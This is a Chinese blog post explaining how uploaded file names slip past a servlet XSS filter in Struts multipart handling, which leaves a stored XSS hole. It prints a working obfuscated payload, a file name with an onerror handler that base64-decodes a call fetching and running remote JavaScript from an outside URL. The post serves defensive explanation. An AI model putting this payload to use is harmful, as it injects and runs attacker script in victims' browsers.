XSS漏洞--文件名

java处理xss漏洞的方法一般是配个filter,例如:

chain.doFilter(new XssHttpServletRequestWraper((HttpServletRequest) request), response);

写个HttpServletRequestWrapper的子类XssHttpServletRequestWraper,重写getParameter等方法(过滤),封装request,然后继续执行filter链。(这部分会在之后会写一篇说明)

但是文件名获取不会走新写的request包装包装器类,如果不加处理,存在存储型xss漏洞。

例如:

文件名:<img src=x id=alF1ZXJ5LmdldFNjcmlwdCgiaHR0cHM6Ly9jb2RpbmcubmV0L3UveWFuZ3hpYW9kaS9wL3Rlc3QxL2dpdC9yYXcvbWFzdGVyLzMuanMiKQ onerror=eval(atob(this.id))>2.png"

atob是base64解码方法,解码之后jQuery.getScript("https://coding.net/u/yangxiaodi/p/test1/git/raw/master/3.js")

如果没有得到过滤,前端获取到文件名渲染时不经过转义(服务器存文件时未改名字),会执行js脚本导致xss攻击。

下文以struts为例说明


struts

流程:1.走自己写的xssfilter,封装request。 

          2.走struts的filter dispatcher,dofilter方法中会调用prepareDispatcherAndWrapRequest方法,prepare方法中根据contentType为multipart/form-data,使用MultiPartRequestWrapper封装request. 其他情况用StrutsRequestWrapper封装

 3.使用StrutsRequestWrapper封装的情况下,调用getParameter,gerHeader等方法,都会经过自己写的filter类的。

4.MultiPartRequestWrapper 

public StringgetParameter(String name) {

    return ((multi ==null) || (multi.getParameter(name) ==null)) ?super.getParameter(name) :multi.getParameter(name);

}

其中multi中包含文件名的参数,所以获取文件名不会走自己写的filter类。


综上,文件名需要单独处理。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,853评论 18 139
  • 本文包括:1、Filter简介2、Filter是如何实现拦截的?3、Filter开发入门4、Filter的生命周期...
    廖少少阅读 7,319评论 3 56
  • 1、不安全的随机数生成,在CSRF TOKEN生成、password reset token生成等,会造成toke...
    nightmare丿阅读 3,732评论 0 1
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,155评论 0 16
  • 听完夏の終わり突然脑子里有满满的画面,想写一首诗。 静悄悄的夏夜 在虫鸣声中踏着萤火的光 走过蛙声一片的稻田 脚步...
    桑怡谈知识变现阅读 202评论 0 0